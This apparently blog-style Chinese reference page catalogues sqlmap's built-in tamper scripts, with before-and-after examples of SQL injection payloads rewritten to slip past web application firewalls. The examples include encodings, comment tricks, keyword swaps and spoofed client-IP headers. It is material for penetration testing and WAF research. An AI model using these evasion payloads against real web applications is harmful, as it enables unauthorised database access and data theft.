前言
sqlmap内置了很多的tamper，也就是常规的一些绕过的脚本
平时测试的时候，如果不封IP，我们一般也是先找到绕过规则，然后用适当的内置tamper或者自己写tamper来快速注入，节省时间
tamper位于sqlmap/tamper目录下
随便找一个看看，可以看到就是利用Python对payload进行简单的替换，里面有说明、适用数据库、结果等等
[!TIP|style:flat]
所以我们自己写脚本的时候，直接拿一个类似的脚本来改即可。
内置tamper说明
20210125 dev
有些脚本可能适配部分数据库，可以自己根据实际情况进行修改，具体查看每个脚本内部内容即可
| Tamper名 | 说明 | 代码代码 | | —- | —- | —- |
|
0eunion.py
| 使用 e0UNION 替换 UNION
| >>> tamper('1 UNION ALL SELECT')'1e0UNION ALL SELECT'
|
|
apostrophemask.py
| 将 ' 替换成 UTF-8 urlencoded 的 %EF%BC%87
| >>> tamper("1 AND '1'='1")'1 AND %EF%BC%871%EF%BC%87=%EF%BC%871'
|
|
apostrophenullencode.py
| 将 ' 替换成 %00%27
| >>> tamper("1 AND '1'='1")'1 AND %00%271%00%27=%00%271'
|
|
appendnullbyte.py
| 在参数末尾加入 %00
| >>> tamper('1 AND 1=1')'1 AND 1=1%00'
|
|
base64encode.py
| base64 编码所有字符
| >>> tamper("1' AND SLEEP(5)#")'MScgQU5EIFNMRUVQKDUpIw=='
|
|
between.py
| 将 > 字符替换为 NOT BETWEEN 0 AND
将 = 字符替换为 BETWEEN # AND #
| >>> tamper('1 AND A > B--')'1 AND A NOT BETWEEN 0 AND B--'>>> tamper('1 AND A = B--')'1 AND A BETWEEN B AND B--'>>> tamper('1 AND LAST_INSERT_ROWID()=LAST_INSERT_ROWID()')'1 AND LAST_INSERT_ROWID() BETWEEN LAST_INSERT_ROWID() AND LAST_INSERT_ROWID()'
|
|
binary.py
| 尽可能地注入关键字binary
| >>> tamper('1 UNION ALL SELECT NULL, NULL, NULL')'1 UNION ALL SELECT binary NULL, binary NULL, binary NULL'>>> tamper('1 AND 2>1')'1 AND binary 2>binary 1'>>> tamper('CASE WHEN (1=1) THEN 1 ELSE 0x28 END')'CASE WHEN (binary 1=binary 1) THEN binary 1 ELSE binary 0x28 END'
|
|
bluecoat.py
| 将 sql 语句后的空格字符替换为 %09，LIKE 替换字符 =
| >>> tamper('SELECT id FROM users WHERE id = 1')'SELECT%09id FROM%09users WHERE%09id LIKE 1'
|
|
chardoubleencode.py
| 二次URL编码
| >>> tamper('SELECT FIELD FROM%20TABLE')'%2553%2545%254C%2545%2543%2554%2520%2546%2549%2545%254C%2544%2520%2546%2552%254F%254D%2520%2554%2541%2542%254C%2545'
|
|
charencode.py
| URL编码
| >>> tamper('SELECT FIELD FROM%20TABLE')'%53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45'
|
|
charunicodeencode.py
| Unicode编码
| >>> tamper('SELECT FIELD%20FROM TABLE')'%u0053%u0045%u004C%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004C%u0044%u0020%u0046%u0052%u004F%u004D%u0020%u0054%u0041%u0042%u004C%u0045'
|
|
charunicodeescape.py
| url 解码中的 % 换成 \\
| >>> tamper('SELECT FIELD FROM TABLE')'\\\\u0053\\\\u0045\\\\u004C\\\\u0045\\\\u0043\\\\u0054\\\\u0020\\\\u0046\\\\u0049\\\\u0045\\\\u004C\\\\u0044\\\\u0020\\\\u0046\\\\u0052\\\\u004F\\\\u004D\\\\u0020\\\\u0054\\\\u0041\\\\u0042\\\\u004C\\\\u0045'
|
|
commalesslimit.py
| limit去掉逗号
| >>> tamper('LIMIT 2, 3')'LIMIT 3 OFFSET 2'
|
|
commalessmid.py
| 用 MID(A FROM B FOR C) 代替 MID(A, B, C)
| >>> tamper('MID(VERSION(), 1, 1)')'MID(VERSION() FROM 1 FOR 1)'
|
|
commentbeforeparentheses.py
| 在括号前添加内联注释
| >>> tamper('SELECT ABS(1)')'SELECT ABS/**/(1)'
|
|
concat2concatws.py
| 将 concat(a,b) 替换成 concat_ws(mid(char(0),0,0),a,b)
| >>> tamper('CONCAT(1,2)')'CONCAT_WS(MID(CHAR(0),0,0),1,2)'
|
|
dunion.py
| 将 UNION 换成 DUNION
| >>> tamper('1 UNION ALL SELECT')'1DUNION ALL SELECT'
|
|
equaltolike.py
| 将 = 换成 LIKE
| >>> tamper('SELECT * FROM users WHERE id=1')'SELECT * FROM users WHERE id LIKE 1'
|
|
equaltorlike.py
| 将 = 换成 RLIKE
| >>> tamper('SELECT * FROM users WHERE id=1')'SELECT * FROM users WHERE id RLIKE 1'
|
|
escapequotes.py
| 增加斜杠转义单双引号
| >>> tamper('1" AND SLEEP(5)#')'1\\\\" AND SLEEP(5)#'
|
|
greatest.py
| 使用 greatest 替换 >
| >>> tamper('1 AND A > B')'1 AND GREATEST(A,B+1)=A'
|
|
halfversionedmorekeywords.py
| 在每个关键词前添加(MySQL)的版本注释
| >>> tamper("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa")"value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa"
|
|
hex2char.py
| 用对应的 CONCAT(CHAR(),…) 替换每个 (MySQL)0x 编码的字符串。
| >>> tamper('SELECT 0xdeadbeef')'SELECT CONCAT(CHAR(222),CHAR(173),CHAR(190),CHAR(239))'
|
|
htmlencode.py
| HTML编码（使用代码点）所有非字母数字字符（例如，'-> '）。
| >>> tamper("1' AND SLEEP(5)#")'1' AND SLEEP(5)#'
|
|
ifnull2casewhenisnull.py
| 用 'CASE WHEN ISNULL(A) THEN (B) ELSE (A) END' 代替 'IFNULL(A, B)' 这样的实例。
| >>> tamper('IFNULL(1, 2)')'CASE WHEN ISNULL(1) THEN (2) ELSE (1) END'
|
|
ifnull2ifisnull.py
| 用 IF(ISNULL(A), B, A) 代替 IFNULL(A, B) 这样的实例。
| >>> tamper('IFNULL(1, 2)')'IF(ISNULL(1),2,1)'
|
|
informationschemacomment.py
| 在所有出现的（MySQL）"information_schema" 标识符的末尾添加一个内联注释（/**/）。
| >>> tamper('SELECT table_name FROM INFORMATION_SCHEMA.TABLES')'SELECT table_name FROM INFORMATION_SCHEMA/**/.TABLES'
|
|
least.py
| 用 LEAST 代替大于运算符（>）。
| >>> tamper('1 AND A > B')'1 AND LEAST(A,B+1)=B+1'
|
|
lowercase.py
| 用小写字母值替换每个关键词字符（例如：SELECT -> select）。
| >>> tamper('INSERT')'insert'
|
|
luanginx.py
| LUA-Nginx WAF 绕过（例如 Cloudflare）
| >>> random.seed(0); hints={}; payload = tamper("1 AND 2>1", hints=hints); "%s&%s" % (hints[HINT.PREPEND], payload)'34=&Xe=&90=&Ni=&rW=&lc=&te=&T4=&zO=&NY=&B4=&hM=&X2=&pU=&D8=&hm=&p0=&7y=&18=&RK=&Xi=&5M=&vM=&hO=&bg=&5c=&b8=&dE=&7I=&5I=&90=&R2=&BK=&bY=&p4=&lu=&po=&Vq=&bY=&3c=&ps=&Xu=&lK=&3Q=&7s=&pq=&1E=&rM=&FG=&vG=&Xy=&tQ=&lm=&rO=&pO=&rO=&1M=&vy=&La=&xW=&f8=&du=&94=&vE=&9q=&bE=&lQ=&JS=&NQ=&fE=&RO=&FI=&zm=&5A=&lE=&DK=&x8=&RQ=&Xw=&LY=&5S=&zi=&Js=&la=&3I=&r8=&re=&Xe=&5A=&3w=&vs=&zQ=&1Q=&HW=&Bw=&Xk=&LU=&Lk=&1E=&Nw=&pm=&ns=&zO=&xq=&7k=&v4=&F6=&Pi=&vo=&zY=&vk=&3w=&tU=&nW=&TG=&NM=&9U=&p4=&9A=&T8=&Xu=&xa=&Jk=&nq=&La=&lo=&zW=&xS=&v0=&Z4=&vi=&Pu=&jK=&DE=&72=&fU=&DW=&1g=&RU=&Hi=&li=&R8=&dC=&nI=&9A=&tq=&1w=&7u=&rg=&pa=&7c=&zk=&rO=&xy=&ZA=&1K=&ha=&tE=&RC=&3m=&r2=&Vc=&B6=&9A=&Pk=&Pi=&zy=&lI=&pu=&re=&vS=&zk=&RE=&xS=&Fs=&x8=&Fe=&rk=&Fi=&Tm=&fA=&Zu=&DS=&No=&lm=&lu=&li=&jC=&Do=&Tw=&xo=&zQ=&nO=&ng=&nC=&PS=&fU=&Lc=&Za=&Ta=&1y=&lw=&pA=&ZW=&nw=&pM=&pa=&Rk=&lE=&5c=&T4=&Vs=&7W=&Jm=&xG=&nC=&Js=&xM=&Rg=&zC=&Dq=&VA=&Vy=&9o=&7o=&Fk=&Ta=&Fq=&9y=&vq=&rW=&X4=&1W=&hI=&nA=&hs=&He=&No=&vy=&9C=&ZU=&t6=&1U=&1Q=&Do=&bk=&7G=&nA=&VE=&F0=&BO=&l2=&BO=&7o=&zq=&B4=&fA=&lI=&Xy=&Ji=&lk=&7M=&JG=&Be=&ts=&36=&tW=&fG=&T4=&vM=&hG=&tO=&VO=&9m=&Rm=&LA=&5K=&FY=&HW=&7Q=&t0=&3I=&Du=&Xc=&BS=&N0=&x4=&fq=&jI=&Ze=&TQ=&5i=&T2=&FQ=&VI=&Te=&Hq=&fw=&LI=&Xq=&LC=&B0=&h6=&TY=&HG=&Hw=&dK=&ru=&3k=&JQ=&5g=&9s=&HQ=&vY=&1S=&ta=&bq=&1u=&9i=&DM=&DA=&TG=&vQ=&Nu=&RK=&da=&56=&nm=&vE=&Fg=&jY=&t0=&DG=&9o=&PE=&da=&D4=&VE=&po=&nm=&lW=&X0=&BY=&NK=&pY=&5Q=&jw=&r0=&FM=&lU=&da=&ls=&Lg=&D8=&B8=&FW=&3M=&zy=&ho=&Dc=&HW=&7E=&bM=&Re=&jk=&Xe=&JC=&vs=&Ny=&D4=&fA=&DM=&1o=&9w=&3C=&Rw=&Vc=&Ro=&PK=&rw=&Re=&54=&xK=&VK=&1O=&1U=&vg=&Ls=&xq=&NA=&zU=&di=&BS=&pK=&bW=&Vq=&BC=&l6=&34=&PE=&JG=&TA=&NU=&hi=&T0=&Rs=&fw=&FQ=&NQ=&Dq=&Dm=&1w=&PC=&j2=&r6=&re=&t2=&Ry=&h2=&9m=&nw=&X4=&vI=&rY=&1K=&7m=&7g=&J8=&Pm=&RO=&7A=&fO=&1w=&1g=&7U=&7Y=&hQ=&FC=&vu=&Lw=&5I=&t0=&Na=&vk=&Te=&5S=&ZM=&Xs=&Vg=&tE=&J2=&Ts=&Dm=&Ry=&FC=&7i=&h8=&3y=&zk=&5G=&NC=&Pq=&ds=&zK=&d8=&zU=&1a=&d8=&Js=&nk=&TQ=&tC=&n8=&Hc=&Ru=&H0=&Bo=&XE=&Jm=&xK=&r2=&Fu=&FO=&NO=&7g=&PC=&Bq=&3O=&FQ=&1o=&5G=&zS=&Ps=&j0=&b0=&RM=&DQ=&RQ=&zY=&nk=&1 AND 2>1'
|
|
misunion.py
| UNION修改为-.1UNION
| >>> tamper('1 UNION ALL SELECT')'1-.1UNION ALL SELECT'>>> tamper('1" UNION ALL SELECT')'1"-.1UNION ALL SELECT'
|
|
modsecurityversioned.py
| 包含带有 (MySQL) 版本化注释的完整查询
| >>> tamper('1 AND 2>1--')'1 /*!30963AND 2>1*/--'
|
|
modsecurityzeroversioned.py
| 包含带有（MySQL）零版本注释的完整查询
| >>> tamper('1 AND 2>1--')'1 /*!00000AND 2>1*/--'
|
|
multiplespaces.py
| 在sql关键字周围添加多个空格
| >>> tamper('1 UNION SELECT foobar')'1 UNION SELECT foobar'
|
|
overlongutf8.py
| 将给定的有效载荷中的所有（非字母）字符转换为超长 UTF8（不处理已经编码的）（例如 ' -> %C0%A7）
| >>> tamper('SELECT FIELD FROM TABLE WHERE 2>1')'SELECT%C0%A0FIELD%C0%A0FROM%C0%A0TABLE%C0%A0WHERE%C0%A02%C0%BE1'
|
|
overlongutf8more.py
| 将给定负载中的所有字符转换为超长 UTF8（未处理已编码）（例如 SELECT -> %C1%93%C1%85%C1%8C%C1%85%C1%83%C1%94）
| >>> tamper('SELECT FIELD FROM TABLE WHERE 2>1')'%C1%93%C1%85%C1%8C%C1%85%C1%83%C1%94%C0%A0%C1%86%C1%89%C1%85%C1%8C%C1%84%C0%A0%C1%86%C1%92%C1%8F%C1%8D%C0%A0%C1%94%C1%81%C1%82%C1%8C%C1%85%C0%A0%C1%97%C1%88%C1%85%C1%92%C1%85%C0%A0%C0%B2%C0%BE%C0%B1'
|
|
percentage.py
| 在每一个字符前面添加一个百分比符号
| >>> tamper('SELECT FIELD FROM TABLE')'%S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E'
|
|
plus2concat.py
| 用对应的 (MsSQL) 函数 CONCAT() 代替加号运算符(‘+’)。
| >>> tamper('SELECT CHAR(113)+CHAR(114)+CHAR(115) FROM DUAL')'SELECT CONCAT(CHAR(113),CHAR(114),CHAR(115)) FROM DUAL'>>> tamper('1 UNION ALL SELECT NULL,NULL,CHAR(113)+CHAR(118)+CHAR(112)+CHAR(112)+CHAR(113)+ISNULL(CAST(@@VERSION AS NVARCHAR(4000)),CHAR(32))+CHAR(113)+CHAR(112)+CHAR(107)+CHAR(112)+CHAR(113)-- qtfe')'1 UNION ALL SELECT NULL,NULL,CONCAT(CHAR(113),CHAR(118),CHAR(112),CHAR(112),CHAR(113),ISNULL(CAST(@@VERSION AS NVARCHAR(4000)),CHAR(32)),CHAR(113),CHAR(112),CHAR(107),CHAR(112),CHAR(113))-- qtfe'
|
|
plus2fnconcat.py
| 将加号运算符 (‘+’) 替换为 (MsSQL) ODBC 函数 {fn CONCAT()} 对应项
| >>> tamper('SELECT CHAR(113)+CHAR(114)+CHAR(115) FROM DUAL')'SELECT {fn CONCAT({fn CONCAT(CHAR(113),CHAR(114))},CHAR(115))} FROM DUAL'>>> tamper('1 UNION ALL SELECT NULL,NULL,CHAR(113)+CHAR(118)+CHAR(112)+CHAR(112)+CHAR(113)+ISNULL(CAST(@@VERSION AS NVARCHAR(4000)),CHAR(32))+CHAR(113)+CHAR(112)+CHAR(107)+CHAR(112)+CHAR(113)-- qtfe')'1 UNION ALL SELECT NULL,NULL,{fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT(CHAR(113),CHAR(118))},CHAR(112))},CHAR(112))},CHAR(113))},ISNULL(CAST(@@VERSION AS NVARCHAR(4000)),CHAR(32)))},CHAR(113))},CHAR(112))},CHAR(107))},CHAR(112))},CHAR(113))}-- qtfe'
|
|
randomcase.py
| 字符替换成大小写字符
| >>> tamper('INSERT')'InSeRt'>>> tamper('f()')'f()'>>> tamper('function()')'FuNcTiOn()'>>> tamper('SELECT id FROMuser')'SeLeCt id FrOmuser'
|
|
randomcomments.py
| 在关键字添加内联注释 /**/
| >>> tamper('INSERT')'I/**/NS/**/ERT'
|
|
schemasplit.py
| 将 FROM 模式标识符（如 testdb.users ）与空白处分割（如 testdb 9.e.users ）。
| >>> tamper('SELECT id FROM testdb.users')'SELECT id FROM testdb 9.e.users'
|
|
sleep2getlock.py
| 用 GET_LOCK('ETgP',5) 取代 SLEEP(5)
| >>> tamper('SLEEP(5)') == "GET_LOCK('%s',5)" % kb.aliasNameTrue
|
|
sp_password.py
| 将 sp_password 附加到有效负载的末尾，用来混淆
| >>> tamper('1 AND 9227=9227-- ')'1 AND 9227=9227-- sp_password'
|
|
space2comment.py
| 空格替换成/**/
| >>> tamper('SELECT id FROM users')'SELECT/**/id/**/FROM/**/users'
|
|
space2dash.py
| 用一个注释（’—‘）代替空格字符（’’），后面是一个随机字符串和一个新行（’/n’）。
| >>> tamper('1 AND 9227=9227')'1--upgPydUzKpMX%0AAND--RcDKhIr%0A9227=9227'
|
|
space2hash.py
| 用（’#’）字符替换（MySQL）空格字符（’’）的实例，后面是一个随机字符串和一个新行（’/n’）。
| >>> tamper('1 AND 9227=9227')'1%23upgPydUzKpMX%0AAND%23RcDKhIr%0A9227=9227'
|
|
space2morecomment.py
| 空格替换成/**_**/
| >>> tamper('SELECT id FROM users')'SELECT/**_**/id/**_**/FROM/**_**/users'
|
|
space2morehash.py
| 用（’#’）字符替换（MySQL）空格字符（’’）的实例，后面是一个随机字符串和一个新行（’/n’）。
| >>> tamper('1 AND 9227=9227')'1%23RcDKhIr%0AAND%23upgPydUzKpMX%0A%23lgbaxYjWJ%0A9227=9227'
|
|
space2mssqlblank.py
| 将(MsSQL)空格字符(‘’)的实例替换为一个有效的备用字符集中的随机空白字符。
| >>> tamper('SELECT id FROM users')'SELECT%0Did%0DFROM%04users'
|
|
space2mssqlhash.py
| 将空格替换成 %23%0A
| >>> tamper('1 AND 9227=9227')'1%23%0AAND%23%0A9227=9227'
|
|
space2mysqlblank.py
| 将(MySQL)空格字符(‘’)的实例替换为有效替代字符集中的随机空白字符
| >>> tamper('SELECT id FROM users')'SELECT%A0id%0CFROM%0Dusers'
|
|
space2mysqldash.py
| 用注释（’—‘）代替空格字符（’’），后面是一个新行（’/n’）。
| >>> tamper('1 AND 9227=9227')'1--%0AAND--%0A9227=9227'
|
|
space2plus.py
| 将空格替换成 +
| >>> tamper('SELECT id FROM users')'SELECT+id+FROM+users'
|
|
space2randomblank.py
| 用一组有效的备用字符中的随机空白字符替换空格字符（’’）。
| >>> tamper('SELECT id FROM users')'SELECT%0Did%0CFROM%0Ausers'
|
|
substring2leftright.py
| 用 LEFT 和 RIGHT 取代 PostgreSQL 的 SUBSTRING
| >>> tamper('SUBSTRING((SELECT usename FROM pg_user)::text FROM 1 FOR 1)')'LEFT((SELECT usename FROM pg_user)::text,1)'>>> tamper('SUBSTRING((SELECT usename FROM pg_user)::text FROM 3 FOR 1)')'LEFT(RIGHT((SELECT usename FROM pg_user)::text,-2),1)'
|
|
symboliclogical.py
| 将 and 和 or 的逻辑运算符分别替换为 (&& 和 |)
|
|
|
unionalltounion.py
| 将 union all select 替换成 union select
| >>> tamper('-1 UNION ALL SELECT')'-1 UNION SELECT'
|
|
unmagicquotes.py
| 用多字节组合 %BF%27 代替引号字符(‘)，并在结尾处加上通用注释(以使其发挥作用)
| >>> tamper("1' AND 1=1")'1%bf%27-- -'
|
|
uppercase.py
| 将关键字符替换成大写
| >>> tamper('insert')'INSERT'
|
|
varnish.py
| 附加一个HTTP头来 X-originating-IP = “127.0.0.1” 来绕过防火墙
| >> X-forwarded-for: TARGET_CACHESERVER_IP (184.189.250.X)
>> X-remote-IP: TARGET_PROXY_IP (184.189.250.X)
>> X-originating-IP: TARGET_LOCAL_IP (127.0.0.1)
>> x-remote-addr: TARGET_INTERNALUSER_IP (192.168.1.X)
>> X-remote-IP: * or %00 or %0A
|
|
versionedkeywords.py
| 用(MySQL)版本注释包围每个非功能关键词
| >>> tamper('1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#')'1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS*//*!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#'
|
|
versionedmorekeywords.py
| 用(MySQL)的版本注释包围每个关键词
| >>> tamper('1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#')'1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS*//*!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#'
|
|
xforwardedfor.py
| 附加多个虚假的 HTTP IP头
| headers[“X-Forwarded-For”] = randomIP()
headers[“X-Client-Ip”] = randomIP()
headers[“X-Real-Ip”] = randomIP()
headers[“CF-Connecting-IP”] = randomIP()
headers[“True-Client-IP”] = randomIP()
headers[“Via”] = “1.1 Chrome-Compression-Proxy”
headers[“CF-IPCountry”] = random.sample((‘GB’, ‘US’, ‘FR’, ‘AU’, ‘CA’, ‘NZ’, ‘BE’, ‘DK’, ‘FI’, ‘IE’, ‘AT’, ‘IT’, ‘LU’, ‘NL’, ‘NO’, ‘PT’, ‘SE’, ‘ES’, ‘CH’), 1)[0]
|
若有收获，就点个赞吧
0 人点赞
